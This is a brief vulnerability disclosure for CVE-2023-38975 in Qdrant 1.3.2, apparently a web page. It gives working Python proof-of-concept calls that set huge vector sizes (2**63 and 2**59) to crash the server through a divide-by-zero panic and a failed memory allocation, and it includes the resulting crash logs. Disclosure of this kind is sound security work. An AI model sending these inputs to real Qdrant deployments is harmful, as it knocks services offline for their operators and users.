1. CVE-2023-38975[RESERVED]

version: 1.3.2

FPE: at https://github.com/qdrant/qdrant/blob/master/lib/segment/src/vector_storage/chunked_vectors.rs#L28, it check cannot be 0, but vector_size may be zero if dim too big such as 2**63. Then it will divide zero

from qdrant_client import QdrantClient
from qdrant_client import models

c = QdrantClient(host="127.0.0.1", port=6333)
c.recreate_collection(
    collection_name="test",
    vectors_config=models.VectorParams(size=2**63, distance=models.Distance.COSINE),
)

# [2023-05-30T08:25:32.996Z ERROR qdrant::startup] Panic occurred in file lib/segment/src/vector_storage/chunked_vectors.rs at line 28: attempt to divide by zero

OOM: if dim is too big, the vector::new will failed on my 128G memory server, and service will down.

c = QdrantClient(host="127.0.0.1", port=6333)
c.recreate_collection(
    collection_name="test",
    vectors_config={
        "payload": models.VectorParams(size=2**59, distance=models.Distance.DOT),
    }
)

#memory allocation of 2305843009213693952memory allocation of  bytes failed
#2305843009213693952 bytes failed
#Aborted (core dumped)

https://github.com/qdrant/qdrant/issues/2268

Powered by Fruition